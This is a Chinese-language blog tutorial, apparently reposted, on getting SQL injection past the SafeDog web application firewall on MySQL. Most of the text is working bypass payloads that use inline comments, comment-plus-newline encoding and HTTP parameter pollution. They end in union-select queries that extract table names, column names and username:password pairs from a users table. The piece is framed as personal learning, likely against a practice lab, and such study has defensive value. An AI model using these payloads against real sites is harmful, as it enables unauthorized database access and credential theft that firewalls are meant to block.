SQL注入bypass學習


0x00 前言

練習sql注入過程中經常會遇到一些WAF的攔截,在網上找相關文章進行學習,並通過利用安全狗來練習Mysql環境下的bypass。

0x01 一些特殊字符

1.注釋符號

/*!*/:內聯注釋,/*!12345union*/select等效union select

/**/:注釋符號,/*/**/等效於/**/

-- +:--空格加任意字符

;%00

2.其他符號

%23%0a:注釋換行符
&、&&、|、||:邏輯操作符
``:反引號

 

0x02 安全狗版本

版本:網站安全狗(Apache版) 4.0.26550

 

0x03 and繞過

首先測試語句and 1=1攔截情況

and        //不攔截
and 1=1    //攔截
and 1      //攔截
and a      //不攔截
and ‘a’    //攔截

經測試發現and后面跟數字型或字符型時會被攔截

繞過方法有兩種

1.使用其他字符替換and

使用&的url編碼%26替換and進行繞過

2.使用-1=-1和-1=-2替換繞過

可能對負數沒做限制,也可能是 – 繞過了正則匹配

and -1=-1-- +
and -1=-2-- +

 

 

0x04 繞過order by攔截

order       //不攔截
by          //不攔截
order by    //攔截

經過測試,此處有三種方法可以繞過:

1.注釋換行繞過

order--%0aby	//攔截——了解到這是最初的姿勢,不過現已經失效
order%23%0aby	//不攔截——%23:注釋符,%0a換行符

2.內聯注釋加參數污染繞過

order /*!by*/               攔截
order/*!/*55555*/by*/       攔截
order/*!/*!50553*/by*/      攔截
order/*!/*!50553test*/by*/  不攔截但報錯
order/*!/*!50554test*/by*/  不攔截

數字加字母組合可繞過,經fuzz測試,當數字大於50553時不報錯

3.hpp參數污染繞過

在跟服務器交互的過程中,http允許 get 或者post多次傳同一參數值,造成覆蓋達到一些繞過waf的效果。在php/apache 中,它總解析最后一個id

?id=1' /*&id=1'order by 3-- +*/

0x05 繞過union select攔截

1.注釋換行加參數污染繞過

單純使用注釋換行符被攔截,經測試在注釋符和換行符間加任意數字字母字符繞過

union%23a%0aselect 1,2,3-- +

 

2.內聯注釋加參數繞過

同order by 繞過

3.hpp參數污染繞過

同order by 繞過

?id=1' /*&id='union select 1,database(),3-- +*/

 

0x06 database()攔截繞過

直接聯合查詢database()會被攔截

1.聯合查詢繞過

/*!database()*/    攔截
database/*!()*/    不攔截
database/*!(*/)    不攔截

2.hpp參數污染的語句中直接查詢

后續查詢均可使用此方法繞過

 

0x07 查表名、列名、字段攔截繞過

經過測試,可以使用兩種方法繞過

1.內聯注釋

對table_name、column_name和字段名使用內聯注釋繞過限制

union%23a%0aselect 1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema="security"-- +
union%23a%0aselect 1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name="users"-- +
union%23a%0aselect 1,2,group_concat(/*!username*/,":",password) from users-- +
union%23a%0aselect 1,2,group_concat(username,":",/*!password*/) from users-- +

2.反引號

對information_schema使用反引號繞過

union%23a%0aselect 1,group_concat(table_name),3 from `information_schema`.tables where table_schema="security"--+


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM